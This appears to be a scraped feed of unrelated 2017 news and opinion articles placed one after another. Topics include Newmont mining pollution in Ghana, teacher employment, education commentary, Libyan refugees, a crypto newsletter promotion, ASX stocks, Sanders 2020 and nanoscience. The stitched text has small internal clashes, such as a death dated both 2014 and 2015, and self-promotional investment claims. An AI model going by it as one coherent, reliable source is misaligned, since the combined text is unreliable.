Dr. Tenkorangs study combined the use purposive and convenience sampling methods to sample key informants, adult women interviewees and Focus Group Discussions (FGDs) as 94 interviews, two FGDs, and eight key informant interviews were conducted in the Asutifi North District.

I have been curiously going through the list of key informants submitted by Newmonts counter-productive report and I clearly see the name of late Nana Adwoa Pokuaa, who was the Queen-mother of Kenyase Number Two. Nana Adwoa Pokuaa died on 15th September, 2014. How on earth can someone who died in 2015 resurrect and be interviewed in 2017?

In the wake of all these, I perfectly agree with Nana Kyei Bonsu, the Odikro of Tutuka, a farming community in the Asutifi North District of the Brong Ahafo Region, who is calling for independent, scientific and comprehensive laboratory test and analysis of underground water, surface water and all other water bodies in and around the area ( Chief calls for independent probe into water quality ).

Nana Kyei Bonsu believes that an independent, scientific and comprehensive assessment of the whole issue will put to rest all doubts surrounding the quality of water being used by his townsfolk as well as other communities in the area.

The Tutuka chief was interacting with over one hundred students of the University of Energy and Natural Resources, the Sunyani Technical University and St. Vitus Technical Institute who were at Tutuka somewhere in September 2017 as part of their Field Trip to some of the communities affected by the presence of Newmont Ghana Gold Limited. Other places visited were Ananekrom and Kenyase Number Two.

Residents of all the places visited could not hide their discontentment about what they consider as "maltreatment" being meted out to them by the authorities of Newmont.

27-year Paul Anto Boadu of Tutuka said contrary to the promises made to them by Newmont officials at the start of their operations that their lives would be better off in future, the reverse is the case as their plight has even worsened.

He said they had lost confidence in the paramount chiefs of the area because the chiefs had miserably failed to help find solutions to their concerns but were rather interested in securing contracts with the company.

All the women who interacted with the students complained bitterly about the poor quality water from the boreholes provided for them by Newmont, and which are suspected to have traces of cyanide and high concentration of arsenic, mercury, cadmium, manganese, and lead.

This situation, according to the women has greatly contributed to the increased rate of irregular menstrual flow, stillbirth, neonatal death and other diseases such as skin rashes and stomach aches which were all uncommon in the area until the advent of Newmont in Ahafo.

According to them, their main sources of water now which are boreholes provided by Newmont are believed to have traces of cyanide and other dangerous chemicals while their streams which they used to rely on have all been polluted but nothing seems to be done about their predicament.

"Anytime officials of Newmont come here, we see them holding Voltic Mineral water and would never drink from the borehole they have provided us. We have no option than to continue drinking from the borehole because we can't afford to buy Voltic Mineral Water all the time and so we are really suffering!", they said.

Kofi Yeboah of Ananekrom said the Tailings facility of Newmont had been leaking into the Subri stream, which serves many communities.

An Elderly woman, also of Ananekrom, Ama Nyarko narrated the ordeal his 15-year old son, Isaac Ofori, went through in 2015 when his testicles started enlarging strangely.

"I took him to the Regional Hospital in Sunyani and upon lab tests, the disease was traced to the poor quality of water that we have been drinking here at Ananekom", she recounted.

One of the best ways out, in my opinion, is for government to temporarily halt the operations of some of these large-scale mining firms pending thorough investigations into the irreparable damage they are causing to humanity and the environment, just as it was done to galamseyers and small-scale miners alike.

I am sure my Minister of the Year, John Peter Amewu has taken note and will act swiftly. Hon, you can count on my support and the support of millions of people out there if you are able to take bold and courageous actions in this direction.

The writer is a Media/Public Relations Practitioner, [email protected])
19.12.2017 LISTEN

Policies come with projections and in this same direction, comes the success of such policies. Ghana is bent on alleviating poverty through the introduction of social intervention policies and such example of a policy is the free Education policy, which offers most parents, the opportunity to educate their wards to even as far as the second cycle level, and most children, the opportunity to enjoy second cycle education for free.

To support this policy requires structures, both the human and structural resources.

But it appears the issues of teacher deficit is still on the rise and it is indeed not the best for a country like Ghana.

Educational courses in the Universities are a great impact on the policy since it is this very level at which we can even and also be more efficient.

Teaching is a gift as many believe. And this justifies the reason why many people could think of no other profession than teaching, in which they find joy, devoid of the compensation conditionalities.

One may wonder how it feels to be in the University, in anticipation of impacting knowledge into society, only to complete and realise the fact that, there are no ready jobs for such people.

One could even wonder what one goes through in the University just in a bid to acquire a first degree in Education in an anticipation to impact knowledge into society just for the sake of social and economic development.

In the recent budget read before parliament by the honourable minister for finance, Ghana, as it stands, have a teacher deficit of seventy thousand (70, 000). At this time and period of the free education policy, we should have even had a lower teacher deficit if only we want the resources positioned.

Our only question is, are the University teacher trainees not qualified to fill such positions of teacher deficit ....?

The government must employ teacher trainees if only they are committed to the Free Education Policy and bent on reducing graduate unemployment because we, the University teacher trainees believe that employment of this very category of unemployed graduates in question is also a step geared towards reducing and curbing graduates unemployment.

We, the students of the University of Education Winneba and its affiliated campuses, the University for Development Studies also with its sister campuses, the University of Cape Coast and other Universities with educational specialisation(s), hereby present our justifications before the Government.

We also call on other schools to join and support our coalition. It is our hope that government takes a critical look at this development and we will by this make moves to further remind the government of our plights if we did not see any change in our favour.

.......Signed...........

Ebenezer Fokuo Mensah

University of Education, Winneba (Alumni)

Enoch Ansah P1

University of Education, Winneba

Joseph Arthur

University of Education Winneba
Mrs. Theodosia W. Jackson, Principal of the Jackson College of Education, has called for collaborative efforts of all stakeholders to promote education in Ghana.

According to her, knowledge is power and nobody should downplay

the socio-economic relevance of education to the country.

She says it is time chiefs, parents and teachers, Town Development Committees and other opinion leaders to make conscious efforts to institute proactive measures to complement the efforts of government by improvising educational infrastructures that would promote and develop education to the required standards.

The principals concern stems from the falling standards of education due to inadequate educational infrastructure, thereby shifting the responsibility of providing all educational needs on the government.

Mrs. Jackson indicated that government alone should not be blamed for falling standards in education because it cannot singularly shoulder all the educational needs since it owes it an equal responsibility to see to a better health care delivery system, robust agriculture, sound economy, and provision of social intervention programmes.

According to her, communities cannot rely solely on the government for all their developmental needs and condemned a situation where even inadequate furniture in Day Care Centres are blamed on the government while parents and guardian could assist.

If parents detest a situation where their kids sit on bare floor in their homes, why would they be happy to see them sit on bare floor at the Day Care Centres without making any efforts to provide them with tables and chairs?, she queried.

The College Principal also called for massive educational campaign to concientise the people on personal hygiene and thus inculcate discipline in the society at large.

Mrs. Jackson said, children should be disciplined and that a lack of it should not be seen as their right to a carefree life, noting that indiscipline could have rippling effects on the society if not checked. She called for public education on the dangers of wanton felling of trees in our forests and destruction of water bodies.

The renowned educationist critiqued the situation where prospective developers build mansions only to rely principally on government to provide amenities for them; she called on such category of people to be mindful of the need to contribute towards the development of their residential areas.

Mrs. Jackson said governance tends to be difficult if almost every social need is shifted on the government. She therefore called for the adoption of positive development strategies by all stakeholders to ensure a prosperous future for all.

She said NGOs, philanthropists and individuals should be ready to contribute towards the provision of infrastructure in the areas of education, health, road network, water and sanitation.

Meanwhile, Mrs. Jackson has announced plans to institute an Environmental award for schools with good landscaping and environmental sanitation.
The Principal of Jackson College of Education, Mrs. Theodosia Jackson, has charged developers of educational curriculum to seriously consider the study of corruption as a subject.

The veteran educationist believes this could be the surest way to among other things, help reduce the incidence of corruption in the country.

Mrs. Jackson made the clarion call during an exclusive interview with the Academic Diary where she expressed her opinion on what she believes is the best medium to effectively fight the social canker; corruption, as a nation.

Ghana as a country has amply registered its weakness to fight this menace since independence. Successive governments have proposed paradigms to check corruption but the same politicians leave office with trails of corruption scandals. Opposition parties in the country usually use corruption as a major campaign tool only to fall for the same after just a term in office.

But speaking to the Academic Diary, Mrs Jackson is of the view that the fight against corruption is still possible, adding that, the country has not looked at the subject more holistically but from only the political perspective.

She said, if corruption is made compulsory subject in our schools right from the primary to the tertiary levels, every citizen of the nation would have in-depth knowledge of the real dangers of corruption.

She noted that the exact effects of corruption have only become partisan political campaign tools to other political parties; but added that it should be depoliticised so as to ensure everyone becomes concerned with the ills associated with corruption.

She opined, "we have said so many things about corruption as a people for a very long time. Corruption discussions dominate every facet of our life but I believe the real antedote to the menace is not propounded well. If the government, the Ghana Education Service and other stakeholders would join my call for the introduction of corruption as a compulsory subject in our schools, the learners who would one day lead the country would be exposed to the effects of corruption on the country."

Mrs Jackson further called for a broader discussion and consultations on her proposal , adding the proposal would be a sure cure to the dangers of corruption.

She posited, "I do not want this proposition to be seen as one coming from Mrs Jackson but a suggestion from Ghanaians so that the international community too would be aware of our preparedness and seriousness to fight corruption". This, she believes, would mark the beginning of our departure from the usual lip-service approach adopted by our political leadership.

The former headteacher of Kwame Nkrumah University of Science and Technology Junior High School, who has taught for over four decades, hinted that if corruption is taught in schools and the pupils exposed to the negative impact, the children themselves would start to uproot corruption from their own families and would not be hesitant to fight their own parents when they indulge in the practice.

" The children could act as corruption police right from their homes until they become leaders of the country. They could even report cases of corruption when they are aware of the dangers of corruption to our society," the principal added.

Speaking on the course outline of corruption as a subject, she disclosed that the positive impacts of corruption fight, the negative impacts of commission of acts of corruption, punishments for those guilty of corrupt acts and rewards for agents that fight corruption must all be spelt out in the curriculum.

Mrs Jackson also proposed that, case studies of convicted corrupt individuals, politicians and enterprises as well as organisations should made made available in textbooks of Corruption Studies so that it just doesnt become an academic exercise but people are able to relate practically to it and would encourage family member to be the staunch agents for fight corruption.

A former Commissioner of Commission for Human Rights and Administrative Justice, Mr. Emile Short, speaking on the Special Prosecutor's Bill maintained that the fight against corruption must be approached in a more proactive way rather than being reactionary . The Commissioner wants suspects to be arrested or prevented before they commit the crime.

The proposal of the lawyer seems to be in sync with Mrs Jackson's paradigm which seeks to suggest that the study of corruption in our schools would be a more proactive approach to adopt in the prevention and fight against corruption.

The parliament of Ghana has recently passed a Special Prosecutor Bill that would detail the best process to prosecute corrupt individuals.
The UN refugee agency is to evacuate thousands of vulnerable refugees from Libya next year, its country representative said on Tuesday.

"In 2018, we will try to send between 5,000 and 10,000 of the most vulnerable refugees to third countries," Roberto Mignone said.

"We can't give an exact number as it will depend on how many refugees can be taken in by European countries, Canada or others," the UNHCR representative said.

Libya has long been a transit hub for migrants seeking a better life in Europe, but people smugglers have stepped up their lucrative business in the chaos since the 2011 revolution.

Libyan authorities have come under fire over migrant abuses since the airing last month of CNN footage of a slave market in the North African country.

The United Nations last week urgently appealed for countries to take in 1,300 "extremely vulnerable" refugees stranded in Libya.

Around 100 refugees have been evacuated to Niger since November and are awaiting resettlement there, Mignone said.

A first group of around 20 refugees arrived to settle in France on Monday.

A thousand refugees should be evacuated from Libya by the end of January.

The UNHCR has registered some 44,300 refugees in Libya, he said, but thousands of other migrants could also be eligible for refugee status.

People from Iraq, Syria, the Palestinian territories, Somalia, Eritrea and Sudan's Darfur region, as well as Oromo Ethiopians, are automatically registered as refugees in Libya, Mignone said.

After being stopped by Libyan authorities, migrants who have entered the country illegally are usually taken to detention centres.

The UNHCR this year made 1,000 visits to around 30 overcrowded detention centres where migrants are detained in "very difficult" conditions, Mignone said.
Nigeria Police Ambassador, Kanu Nwankwo recently visited the Inspector General of Police, Ibrahim Idris at the police headquarters.

While speaking on security, IGP Idris said It is on record that we have within our short but purposeful stay in office marshalled out strategies to check a lot of security challenges that have continued to threaten us ad a nation.

I would want to assure your humble self and indeed, all Nigerians, that with supports and encouragement like yours today, we have been able to reduce to the barest minimum, cases of high ciass Kidnap Kingpins and check their activities. You would recall cases at individuals and groups like the Vampire, Evans and over 3000 kidnappers terrorising people along Kaduna-Abuia High way and in other parts of our dear country.

In the like manner, we are sincerely addressing cases at armed robbers, farmers/herdsmen clashes, cattle rustiing and a host of other criminal activities and gangs in Nigeria and remember that bail is free in nigeria

On the reason for his visit, the Ambassador of all Ambassador Kanu said he came to offer support to the Police Force and also seek ways to move the Nation Forward
As the Christmas celebration draws closer, lots of families have begun shopping while some have travelled or are planning to travel for the few weeks holiday.

Nollywood actor, Emeka Ossai with his family are not left oout of the fun as he has already jetted out of the country few weeks back.

The actor was waiting for his kids to mark the end of year celebration in their school before he took them out of the country.

Their first stop was Turkey where they had fun together and now they are already planning to move to Dubai where tjhey will spend part of their time touring the expensive and lovely country.

According to the actors wife, Jumai, who shared their journey so far, she wrote, Been looking 4wd to this trip. I intend to have a blast. Turkey tried to ruin my stay but i jump them pass. Off to Dubai where maximum fun is expected. Merry Christmas y'all.
Heres a strange fact for you.

The larger the inequality in society, the higher the murder rate.

According to the World Bank, this factor accounts for around half of the differences in murder rates between American states. And also between countries around the world.

Inequality predicts murder rates better than any other variable, says Martin Daly, professor emeritus of psychology and neuroscience at McMaster University in Ontario and author of Killing the Competition: Economic Inequality and Homicide.

So why am I bringing this up today?

Heres the bad news

In the last 40 years weve seen a stunning rise in inequality. Especially in the US.

It started in 1979. Since then the 1% have captured 54% of all increases in income up to 2007. There was a brief pause during the GFC, before government bailouts kicked in and the gravy train began once more.

Between 2009 and 2013, the 1% took a stunning 85% of income growth. And since then, even more.

As you can guess, this polarisation of wealth is unhealthy for society.

But why the knock-on effect on the murder rate? And will this trend ever reverse?

Thats what I want to talk about today

Getting ahead is murder

According to the FBI, just over half of murders were set off by a category called other argument. What they mean is that its not the typical motive. Not a robbery, a love triangle, drugs, domestic violence or money.

Simply the sense that someone had been dissed.

As Evonomics puts it:

When someone bumps into someone on the dance floor, looks too long at someone elses girlfriend or makes an insulting remark, it doesnt threaten the self-respect of people who have other types of status the way it can when you feel this is your only source of value.

Or as Daly writes:

If your social reputation in that milieu is all youve got, youve got to defend it, says Daly. Inequality makes these confrontations more fraught because theres much more at stake when there are winners and losers and you can see that you are on track to be one of the losers.

A rise in murder rates is the result. And for seemingly innocuous encounters.

The strive for status becomes increasingly important the less wealth you have. Its an aspect of power still available, even when youve got little financial muscle.

And it probably helps explain Trumps election success.

Those Democrat states that turned red in the general election saw Trump as a way to regain status in a society they were economically failing in.

It was about giving them the respect they felt they deserved. And craved.

The more run down the community, the better Trump did.

Put in this perspective the results are more understandable. And it also helps explain why Trump will never lose his hardcore base of supporters, no matter what he does.

His success is now their success.

So, if socials divisions and crime are a result of social inequality, surely it makes sense to tackle this?

It depends on your perspective.

The 1% have clearly shown no appetite to reverse policies that benefit them.

Indeed, Stanford historian, Walter Scheidel shows in his book The Great Leveler: Violence and the History of Inequality from the Stone Age to the Twenty-First Century that historically, the only way high inequality has been flattened has been through catastrophe: disease, famine, world war, societal collapse or communist revolution.

Not the best outcomes for you and I.

Now the scales of wealth need rebalancing. And you cant rely on the elites to do it. Theyre still in a let them eat cake world.

Theres only one viable option

The new American dream

Fair warning

Im going to blow my own trumpet for a second here.

When my colleague Sam Volkering and I launched our entry level cryptocurrency service, Secret Crypto Network, back in June this year, the sceptics scoffed.

Its fake money.

Its only used by criminals

Its not real, not backed by anything, not trustworthy, etc., etc.

Thankfully, thousands of people ignored the mainstream viewpoint and got stuck into our research.

Most of them are now sitting on some hefty financial gains. And more importantly, are developing an understanding of what the technology means, how it works, and how to keep it safely.

But I know for my part at least, a strong drive behind this service was to get as many ordinary people into cryptocurrencies as possible. I could see the potential was  and still is  enormous.

And here was a chance, if we were fast and compelling, to get ordinary people in on the ground floor of the biggest investment opportunity Ive seen in my lifetime.

Its rare this happens.

Most of the time an ordinary investor only gets a look in once the 1% have filled up. Thats the way the financial system is designed. And why we have seen such stunning rises in inequality.

With cryptocurrencies the reverse is happening.

Ordinary people in their droves are getting in ahead of the elite.

To my mind this is good for society.

Inequality is inevitable. And not necessarily bad. But entrenched inequality is dangerous to society as whole. As the murder rates show.

Perhaps cryptos greatest achievement will be in realigning equality to more acceptable levels?

Ryan Dinse,

Editor, Money Morning
Why Pilbara Minerals Share Price Rose?

Shares in lithium mining company, Pilbara Minerals Ltd [ASX:PLS] rose a further 4% to $1.20 today, after a gain of 11% yesterday. Pilbara Minerals stock is up a huge 130% for the year, following strong growth from September.

The gains stem from a lift in lithium prices released by lithium supplier Orocobre Ltd [ASX: ORE] earlier this week for the June 2018 half. Orocobore expects prices to rise 25% on the December 2017 quarter, as a result of renewed contract negotiations.

Contract prices are rising in all markets and we expect this to continue in the foreseeable future as new demand for lithium chemicals exceeds new supply, said Richard Seville, Orocobores CEO and managing director.

Pilbara benefitted from a $28 million deal with Chinas Great Wall Motors Company announced in September. This lifted its share price (at the time) to 66 cents. The equity investment gives Great Wall 56 million Pilbara shares, for a 3.5% stake in the company.

China expects sales of electric cars to grow to two million by 2020, with global sales set to hit 25 million by 2030. Worldwide demand for lithium-ion batteries and a projected future parity of prices between electric and petrol cars should ensure continued demand for the base product.

What Now for Pilbara Minerals?

Pilbaras managing director, Ken Brinsden believes Pilbara will become one of the biggest lithium mining operations in the world, outstripping Chile, Argentina and Bolivia. Mr Brinsden says that WAs hard rock lithium is of a higher grade with fewer impurities, and will therefore prove more cost-effective in the long term.

Pilbara Minerals has grown from a $140 million company two years ago, to a market capitalisation of $1.9 billion with todays result.

Cheers,

Craig Henderson,

Junior Analyst, Money Morning

PS: Our resource analyst, Jason Stevenson has compiled the top 10 Mining stocks trading on the ASX right now. What do find out which ones will benefit from the resurgence in commodity prices? Click here.
What happened to Retail Food Group share price?

Shares of listed cafe and bakery company, Retail Food Group Ltd [ASX:RFG], have fallen more than 20% today, as negative media attention is influencing customers and store owners to move towards other companies.

Retail Food Group (RFG) owns some of the biggest food franchises in Australia, including Donut King, Brumbys, Gloria Jeans and Crust Gourmet Pizzas.

What caused the share price drop?

While they have covered it well, they have been running at a loss for a long time, with most chains performing well below expectations.

Recent reports by Fairfax Media have brought up claims of wage fraud and a business model that abuses their franchisees and employees.

Retail Food Group has stated that the negative attention from media had contributed to a noticeable decline in momentum in new and renewing franchise sales. With declining sales (under $10,000 a week per franchise) and trouble keeping franchises running, there has been fast growing levels of debt for the company.

RFG has also stated revenues are now forecast to be below prior expectations and future franchise trading revenues are also likely to be impacted. Following this is a campaign including huge amounts of advertising in order to promote its business model and attract new storeowners. It remains to be seen if this can halt the decline.

Cheers,

Abbie Sayce

Junior Analyst, Money Morning

PS: Want to find stocks with the potential to double, triple or even quadruple your money?

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I stuck to what the coaches ...
By Gaius Publius, a professional writer living on the West Coast of the United States and frequent contributor to DownWithTyranny, digby, Truthout, and Naked Capitalism. Follow him on Twitter @Gaius_Publius, Tumblr and Facebook. GP article archive here. Originally published at DownWithTyranny

I want to put this on peoples radar and suggest a few questions as the drama begins to unfold: What would happen if Bernie Sanders ran for President in 2020?

Barring Change, Sanders Could Easily Enter the Race

First, lets make all the enabling assumptions  that he remains healthy and strong, that he remains the most popular politician in America (see graph above), that no disruptive scandals emerge to derail him in the meantime.

Given all that, its certainly possible that he will run. Consider just a few indicators. Politico:

Bernie makes moves pointing to 2020 run

The Vermont senator is taking aggressive steps to address long-running political weaknesses, like his lack of foreign policy bona fides. Bernie Sanders is taking steps to address longstanding political shortcomings that were exposed in 2016, ahead of another possible presidential bid in 2020. From forging closer ties to the labor movement to shoring up his once-flimsy foreign policy credentials, the moves have provided the senator inroads into party power structures that largely shunned him in favor of Hillary Clinton last year. Theyve also empowered the progressive icon to harness his newfound political power and help Democrats fight President Donald Trumps administration. Sanders has been working closely with figures who are close to the party establishment hes long railed against, like American Federation of Teachers President Randi Weingarten. And hes been meeting with international affairs experts such as Bill Perry, a defense secretary in the administration of President Bill Clinton, around a series of speeches designed to define his international vision, one year after running a campaign heavy on domestic policy and light on the rest of the world. The Vermont independent hasnt decided whether to run for president again in 2020. To his closest allies, his efforts represent a natural next step in his role as outreach chairman for Senate Democrats, a new position created for him late last year by Minority Leader Chuck Schumer of New York. Yet the maneuvers could form an important part of a Sanders 2020 effort, a dozen of those allies acknowledged to POLITICO  one that looks markedly different from his surprise 2016 bid, which often suffered from a lack of mainstream political support.

Newsweek looked at a poll written up by The Hill that showed Sanders leading a large field of Democrats

How Dem insiders rank the 2020 contenders

Democrats predict that as many as 30 candidates will compete in their partys presidential primary in 2020. And while its still too early to say who might come out on top, buzz is building around some potential candidates, even as other hopefuls fade to the background. A year after a devastating 2016 defeat, Democrats are craving new faces with fresh ideas. Yet many of their leading contenders for the White House in 2020 are politicians who have been around for decades. Theres also no clear standout in the potential field.  The Hill interviewed nearly a dozen prominent Democrats to find out who has captured the partys attention in recent months and who has fallen out of favor. Heres how they see the field stacking up right now. 1. Sen. Bernie Sanders (I-Vt.) Advisers to the senator are telegraphing that Sanders is eyeing a 2020 run  and his network is already ready to go, with supporters convinced that he was the candidate who would have beaten President Trump in 2016. His people have never gone away, said Democratic strategist Brad Bannon. And he has a loyal core following out there that will be with him come hell or high water. Also working in Sanderss favor, Bannon said, is the leftward shift of the Democratic Party. The Sanders wing is becoming the dominant wing of the party, he said. Still, strategists note that Sanders would be 79 in 2020, which could work against him at a time when Democrats are hungry for change.

and wrote it up for their readers with this headline:

Bernie Sanders will Face Donald Trump in 2020 Election, Democrats Say

If nothing else, theres media interest in promoting such a contest, and I strongly suspect theres great public interest as well. Dont be surprised if he enters the race. In fact, be surprised if he doesnt, barring a unforeseen derailment.

If Sanders Runs, How Will He Be Treated?

This brings us to the second part of our consideration  What will be his treatment if he runs? I offer these questions, something to keep in mind in that eventuality.

In the primary:

 Will he be delegitimized by the Democratic Party, as he was in 2016?

 Will he be ignored or delegitimized by the media  even and especially MSNBC  as he was in 2016?

 Will lower level Party officials commit what would be treated by Democrats  even and especially at MSNBC  as election fraud if it were done by Republicans, in order to advantage other, more mainstream candidates?

If he reaches the general election:

 Would Bernie Sanders get the Al Gore Treatment by the media (What a goof. He claims he invented the Internet!)  even if his opponent were Donald Trump?

 Would the mainstream leaders of the Democratic Party give Sanders, their unpreferred candidate, the same full support in 2020 that they gave their preferred candidate, Hillary Clinton, in 2016? Or would some of them sabotage him  even if his opponent were Donald Trump?

 Would left-leaning members of the prominent press, Rachel Maddow for example, pull out every stop to delegitimize the Republican (as theyre doing now)? Or would they take a more on the one hand, on the other hand approach to a race with a Sanders candidacy  even if his opponent were Donald Trump, or a lesser, far more dangerous light like Mike Pence?

If Sanders Is Elected, How Will He Be Treated?

Finally, lets look briefly at how he would be treated as president. Any Democratic president will certainly get The Treatment by Republicans (acting as though hes not the real president, or that he doesnt deserve the office), just as Trump is getting The Treatment now (Hes not really president. He cheated to win.) by many in the Trump-Russia! crowd.

Remember, if we think it right to withhold judgment on which laws were broken in the Al Franken case until an investigation is completed (I do), we should also withhold judgment on Trump until his current investigation is completed. Nevertheless, in Trumps case the Democratic medias fevered speculation started almost the day he took office and before any evidence was in.

In that light, what would happen to a President Sanders? Remember, Sanders policy proposals are likely to be as anti-Establishment as Trumps were during his own campaign. Its those anti-Establishment positions that would get him elected in our ongoing popular rebellion against Rule by the Rich.

Sanders would, in effect, be Trump on the Left, but far more meaningfully, since hed actually be sincere about his policy promises.

If Sanders were president:

 Sanders will certainly get the Bill Clinton version of The Treatment  endless investigations by elected officials and private investigators  by Republicans. Will Sanders get the Donald Trump version of The Treatment  leaks and complicity by current and former members of the national security establishment  as well?

 If the national security establishment joins an attack on the second elected president in a row, will mainstream Democratic leaders denounce those attacks and defend him  even as Sanders is proposing policies more like Jeremy Corbins (For the many, not the few) than anything supported by mainstream Democratic leaders in decades?

Would mainstream Democrats defend a man like this, if the national security establishment wanted him gone?

 And finally, if Sanders is elected president, and mainstream Democrats, subtly or not, join with Republicans and the corporate media in taking him down or rendering him ineffective  will there be any reason at all to engage in politics in the 10 years that follow in America?

Because, keep in mind, when it comes to climate, slow Democratic Party-style winning is as deadly as losing, and by the mid 2020s, that horse will have certainly left the barn for good.

Plus, when it comes to the real Resistance against Rule by the Rich, our rolling civil war  the one where people give up on elections and the two sides just go to battle  keeps getting closer and closer. What will be the state of relations between the muscular security state and the Real Resistance at that point? Will elections have any meaning at all after the State and its mainstream, Establishment defenders have closed ranks for good?

Over to you, Democratic Party and your media enablers. What will you do if Sanders is your candidate?
UK cannot have a special deal for the City, says EUs Brexit negotiator Guardian. Not news if you have been paying attention.

From Poiticos daily European newsletter:

Bring down the (Chatham) House  Stefaan De Rynck scopes out the future relationship

In a remarkable on-record speech at the fabled Chatham House in London, De Rynck, a senior adviser to the EUs chief Brexit negotiator Michel Barnier, offered up a riveting preview of Phase 2 negotiations.

Among the highlights: Brussels still views the U.K.s demands as contradictory, and therefore somewhat illogical; the U.K., in De Ryncks view, pretty much has zero chance of a deal on financial passporting if it insists on leaving the single market; and  never mind that the Commission and Council have yet to issue detailed negotiating directives  the future-relationship talks will involve the stability of the European Continent, defense, security, foreign policy, and issues of justice, home affairs, police cooperation, counter-terrorism and those kind of issues.

De Rynck opened by saying, Its important for us in the team of Michel Barnier, the chief negotiators team, to contribute to the U.K. public debate. And, boy, contribute he did.

While noting with some pleasure that the sufficient progress designation allowed him to look beyond citizens rights, money and Ireland, De Rynck said there was still work left from Phase 1. We have reached sufficient progress, but it is not full progress on all of these issues, he said.

He added that there are still a number of separation or disentanglement issues that need to be negotiated. Euratom is one of the more important ones.

But De Rynck quickly moved on to the topic of future relations and a trade agreement, the material that allowed Prime Minister Theresa May to pounce later and accuse him of contradicting his boss, Barnier.

De Rynck said the EU was aiming to end a transition period in conjunction with the EUs current long-term budget plan. The end of 2020 seems indeed like a natural endpoint for that implementation period or transition, he said.

Expect the City to react most strong, however, to his comments on the future of the U.K.s financial services industry  or rather the lack of a future in the EU. De Rynck said he saw no way to allow the financial passporting coveted by the U.K. to continue after Brexit. He added, Each free trade agreement is tailor-made  to come back to the mathematics of pluses and minuses, what you cannot do is square an FTA circle into a single market. And that is one of the key issues that we will have to live with and clarify quickly: There can be no sector-by-sector participation in the single market.

You can watch the speech here.
Researchers report the first atomic scale observation of gold ions moving in liquid (Nanowerk News) Electricity is used to power your car or home, it is also used to power your heart and brain. Batteries in machines or cells in the body conduct electricity by passing ions through liquids. Liquid properties such as viscosity and conductance determine the performance of machines. These properties reflect how ions move in the liquid, but there is poor understanding of how ions move at the atomic level. A new study by researchers at University of Tokyo's Institute of Industrial Science (IIS) reports the first direct observation of gold ions moving in liquid.

The study, which can be read in Science Advances ("Real-space analysis of diffusion behavior and activation energy of individual monatomic ions in a liquid"), is expected to provide a basis for more energy efficient devices.

Schematic illustration of dynamic behaviors of gold ions in an ionic liquid. The yellow spheres and pentagons represent gold ions and molecules in the liquid, respectively. (Image: Teruyasu Mizoguchi, University of Tokyo)

IIS Associate Professor Teruyasu Mizoguchi explains that there are multiple ways to study ion movement.

"We model the movement as homogeneous at the macroscopic level. But the movement is very heterogeneous at the atomic level," he says.

This heterogeneity has never been directly observed, but is thought to have a significant impact on the properties of a liquid.

Mizoguchi led a team of researchers to observe gold ions diffusing in an ionic liquid. To do so, they put the liquid into an annular dark-field scanning transmission electron microscopy (ADF-STEM) system which was developed by JEOL Ltd.. In ADF STEM, the brightness of the ion depends on the atomic number, and among metals gold has one of the highest. Also in ADF-STEM, the liquid is placed in a vacuum. Normal liquids evaporate in vacuum, but this is not so for ionic liquids because of their strong electrostatic interactions.

ADF STEM observations revealed that gold ions behave with a distinguishing type of diffusion in liquid.

"We found gold ions were trapped in small spaces or cages. The cages were made by counterionic solvent molecules," said first author Tomohiro Miyata.

These cages would move with gold inside of them, but sometimes the gold would escape to enter another cage through what Miyata describes as a "cage-jump".

"We found heterogeneous dynamics. Ions would sometimes make large displacements. Sometimes they make small jumps", he says.

The different dynamics were likely due to the heterogeneity of the ionic liquid. By tracing the movement of gold ions, the researchers could then quantify fundamental atomic properties of the liquid, including the diffusion coefficient and the activation energy.

"Atomic-scale local dynamics determines macroscopic properties. Using this information, we can improve liquid behavior to build nanoparticles and catalyze chemical reactions," said Mizoguchi.
Biofilms as construction workers (Nanowerk News) Biofilms are generally seen as a problem to be eradicated due to the hazards they pose for humans and materials. However, these communities of algae, fungi, or bacteria possess interesting properties both from a scientific and a technical standpoint. A team from the Technical University of Munich (TUM) describes processes from the field of biology that utilize biofilms as construction workers to create structural templates for new materials that possess the properties of natural materials. In the past, this was only possible to a limited extent.

Red algae move towards the light and excrete chains of sugar molecules. By means of time-variable light patterns, the researchers obtain customized templates from these long, fine polymer threads, which they use for functional ceramics. (Image: v. Opdenbosch/TUM)

Whether it is wood, bone, mother of pearl, or teeth  over millions of years, these materials have been optimized via evolution according to the principle of adapted stability with the lowest possible weight. Nature has provided the blueprints for many technical developments. Examples include airplane wings, zippers, and surface sealants using a lotus effect. However, reverse engineering replicas cannot reproduce the structural complexity of the original in nature.

In nature, we find many materials with properties that artificial materials are unable to replicate in the exact same fashion, said Professor Cordt Zollfrank, who performs research on basic principles for the development of new materials together with his team at the Chair of Biogenic Polymers at the TUM Campus Straubing for Biotechnology and Sustainability.

Biggest Problems at the Smallest Level

As the interface between biology and technology, bionics utilizes methods and systems found in nature to provide solutions to technical problems. When it was still limited to using natural shapes, e.g. as templates for development in the design of airplane wings or ship hulls, the problems remained manageable. However, imitating the material properties of natural construction materials is an entirely different story. This is because they are found in the inner structures, where fibers are linked to each other over several orders of magnitude and across various hierarchical levels.

Usually, the main sources of mechanical material properties such as elasticity, strength, and toughness are found at the smallest level of these hierarchies, especially at the nanometer scale, explained Dr. Daniel Van Opdenbosch, a team leader at Zollfranks chair and one of the authors of the article, describing the main problem when attempting to translate them to technical solutions. However, when the microorganisms themselves or their secretions create the material, the technically sophisticated complex networks already come fully formed.

The Future of Bionics

In an article for the journal Advanced Materials ("A perspective on bio-mediated material structuring"), the researchers at TUM present a series of procedures from the field of biology that utilize light, heat, specially prepared substrates, and other stimuli to guide the direction of movement of microorganisms along very specific paths.

These biological findings for controlling microbes via targeted stimuli will shape the future of material research, said Professor Cordt Zollfrank. This is because they make it possible to create tailor-made templates for new materials with natural structures from the microbes themselves or their secretions. With our article, we want to show the direction this journey will take us in the field of biologically inspired material science, said the professor.

Contact-Free Modeling

Daniel Van Opdenbosch and his group are already successfully utilizing some of these methods in Straubing. As part of a Reinhart Koselleck project of the German Research Foundation (DFG), the researchers are taking advantage of the special properties of red algae, whose direction of movement depends on exposure to light, and which secrete chains from sugar molecules. By projecting light patterns which change over time into the growing medium of the algae, the researchers use them to create long, fine polymer threads, which serve as custom templates for the manufacture of functional ceramics.
Study resolves controversy about electron structure of defects in graphene (Nanowerk News) A study conducted at the University of Sao Paulo's Physics Institute (IF-USP), Brazil, has resolved a longstanding controversy dogging the international community of researchers dedicated to investigating defects in graphene. The controversy is related to the calculation of the overall electronic structure of defects. This configuration, which comprises many variables, was described in different ways depending on the researcher and the model used. The solution, which is identical for all models and compatible with experimental findings, was obtained by Chilean Ana Maria Valencia Garcia and her PhD supervisor, Marilia Junqueira Caldas, Full Professor at IF-USP.
